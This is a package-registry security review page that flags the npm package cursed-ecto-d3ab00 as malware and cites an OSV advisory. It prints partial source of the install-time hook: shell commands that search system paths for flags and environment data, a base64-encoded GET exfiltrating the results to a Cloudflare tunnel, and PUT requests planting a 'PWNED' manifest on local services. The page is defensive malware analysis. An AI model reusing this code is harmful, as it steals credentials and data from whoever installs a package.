registry  /  cursed-ecto-d3ab00  /  1.0.1

cursed-ecto-d3ab00@1.0.1

ecto

AI Security Review

scanned 7d ago · by lpm-firewall-ai

Install-time lifecycle hooks harvest local secrets and environment data, exfiltrate them to an external Cloudflare tunnel, and attempt local API mutation. The behavior is unrelated to the package description or runtime API.

Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm install or package preparation lifecycle execution
Impact
Credential/secret and flag exfiltration plus possible local service/module overwrite
Mechanism
install-time command execution, filesystem/env harvesting, HTTP exfiltration, local API PUT spray
Attack narrative
On npm lifecycle execution, the package runs shell commands to search common system paths for flag-like files and dump environment/host identity. It base64 encodes the results and sends them to an external trycloudflare.com endpoint, then attempts to write a malicious-looking module manifest to multiple local service hosts.
Rationale
Direct source inspection confirms install-time secret harvesting, external exfiltration, and local API mutation attempts in all lifecycle scripts. This is concrete malicious behavior with no benign package-aligned purpose.
Evidence
package.jsonpreinstall.jsinstall.jspostinstall.jsprepare.jsindex.js/app/opt/root/home/srv/data/var/etc/tmp/flag*
Network endpoints12
forward-amber-prairie-ruled.trycloudflare.com/x?d=127.0.0.1:3000/api/modules/ECT-839201127.0.0.1:8080/api/modules/ECT-839201127.0.0.1:80/api/modules/ECT-839201127.0.0.1:5000/api/modules/ECT-839201127.0.0.1:4000/api/modules/ECT-839201localhost:3000/api/modules/ECT-839201app:3000/api/modules/ECT-839201web:3000/api/modules/ECT-839201frontend:3000/api/modules/ECT-839201console:3000/api/modules/ECT-839201ecto:3000/api/modules/ECT-839201

OSV Corroboration

OpenSSF/OSV
Advisory
MAL-2026-10061
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in cursed-ecto-d3ab00 (npm)
Details
The package has no legitimate functionality (index.js is an empty module) and exists solely to run an install-time attack payload. All four lifecycle hooks (preinstall.js, install.js, postinstall.js, prepare.js) execute the same shell command via child_process.execSync that recursively scans host filesystem paths (/app, /opt, /root, /home, /srv, /data, /var, /etc, /tmp, /flag*, /) for HTB{...} flag patterns, enumerates flag-named files with their contents, captures env, hostname, id, and pwd, base64-encodes the collected data, and exfiltrates it via HTTPS GET to a hardcoded Cloudflare quick-tunnel endpoint at forward-amber-prairie-ruled.trycloudflare.com. In addition, each lifecycle script fans out HTTP PUT requests to internal hostnames and loopback ports (127.0.0.1:3000/8080/80/5000/4000 and hostnames app, web, frontend, console, ecto, registry, backend, nginx) targeting path /api/modules/ECT-839201 with a crafted ecto_module manifest named PWNED, attempting to register a malicious module on adjacent services reachable from the install environment. Behavior fires unconditionally on npm install.

Decision evidence

public snapshot
AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
  • package.json runs preinstall/install/postinstall/prepare lifecycle scripts.
  • preinstall.js/install.js/postinstall.js/prepare.js execute grep/find/head/env via child_process.execSync.
  • Lifecycle scripts collect HTB flags, flag-like files, environment, hostname, id, and pwd.
  • Collected data is base64 encoded and sent to trycloudflare.com over HTTPS query string.
  • Scripts also PUT a manifest named PWNED to local /api/modules/ECT-839201 endpoints.
Evidence against
  • index.js only exports an empty object.
  • No dependency confusion indicators or native binaries found.
Behavioral surface
Source
ChildProcessNetworkShell
Supply chain
HighEntropyStringsUrlStrings
Manifest
NoLicense
scanned 5 file(s), 6.83 KB of source, external domains: forward-amber-prairie-ruled.trycloudflare.com

Source & flagged code

7 flagged · loading source
package.jsonView file
scripts.install = node install.js
High
Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg
scripts.preinstall = node preinstall.js
Medium
Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg
scripts.install = node install.js
Medium
Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg
scripts.postinstall = node postinstall.js
Medium
Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg
preinstall.jsView file
2try{ L3: var cp=require('child_process'); L4: var out=''; L5: try{out=cp.execSync('G=$(grep -rIhaso "HTB{[^}]*}" /app /opt /root /home /srv /data /var /etc /tmp /flag* / 2>/dev/null | head -3); F=$(find / -maxdepth 7 -type f -iname "*flag*" 2... L6: var host='';try{host=cp.execSync('hostname 2>/dev/null; id 2>/dev/null; pwd 2>/dev/null').toString();}catch(e){} ... L8: var b=Buffer.from(msg).toString('base64'); L9: try{require('https').get('https://forward-amber-prairie-ruled.trycloudflare.com/x?d='+b,function(){}).on('error',function(){});}catch(e){} L10: try{require('http').get('https://forward-amber-prairie-ruled.trycloudflare.com/x?d='+b,function(){}).on('error',function(){});}catch(e){} ... L14: var body=JSON.stringify({manifest:'ecto_module:\n name: PWNED\n version: 1.0.0\n power_level: '+b+'\n'}); L15: hosts.forEach(function(h){try{var r=http.request({host:h[0],port:h[1],path:'/api/modules/ECT-839201',method:'PUT',headers:{'Content-Type':'application/json','Content-Length':Buffer... L16: }catch(e){}
Critical
Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

preinstall.jsView on unpkg · L2
2Trigger-reachable chain: scripts.preinstall -> preinstall.js L2: try{ L3: var cp=require('child_process'); L4: var out=''; L5: try{out=cp.execSync('G=$(grep -rIhaso "HTB{[^}]*}" /app /opt /root /home /srv /data /var /etc /tmp /flag* / 2>/dev/null | head -3); F=$(find / -maxdepth 7 -type f -iname "*flag*" 2... L6: var host='';try{host=cp.execSync('hostname 2>/dev/null; id 2>/dev/null; pwd 2>/dev/null').toString();}catch(e){} ... L8: var b=Buffer.from(msg).toString('base64'); L9: try{require('https').get('https://forward-amber-prairie-ruled.trycloudflare.com/x?d='+b,function(){}).on('error',function(){});}catch(e){} L10: try{require('http').get('https://forward-amber-prairie-ruled.trycloudflare.com/x?d='+b,function(){}).on('error',function(){});}catch(e){} ... L14: var body=JSON.stringify({manifest:'ecto_module:\n name: PWNED\n version: 1.0.0\n power_level: '+b+'\n'}); L15: hosts.forEach(function(h){try{var r=http.request({host:h[0],port:h[1],path:'/api/modules/ECT-839201',method:'PUT',headers:{'Content-Type':'application/json','Content-Length':Buffer... L16: }catch(e){}
Critical
Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

preinstall.jsView on unpkg · L2
2try{ L3: var cp=require('child_process'); L4: var out='';
High
Child Process

Package source references child process execution.

preinstall.jsView on unpkg · L2

Findings

2 Critical3 High5 Medium5 Low
CriticalCommand Output Exfiltrationpreinstall.js
CriticalTrigger Reachable Dangerous Capabilitypreinstall.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processpreinstall.js
HighShell
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
LowNo License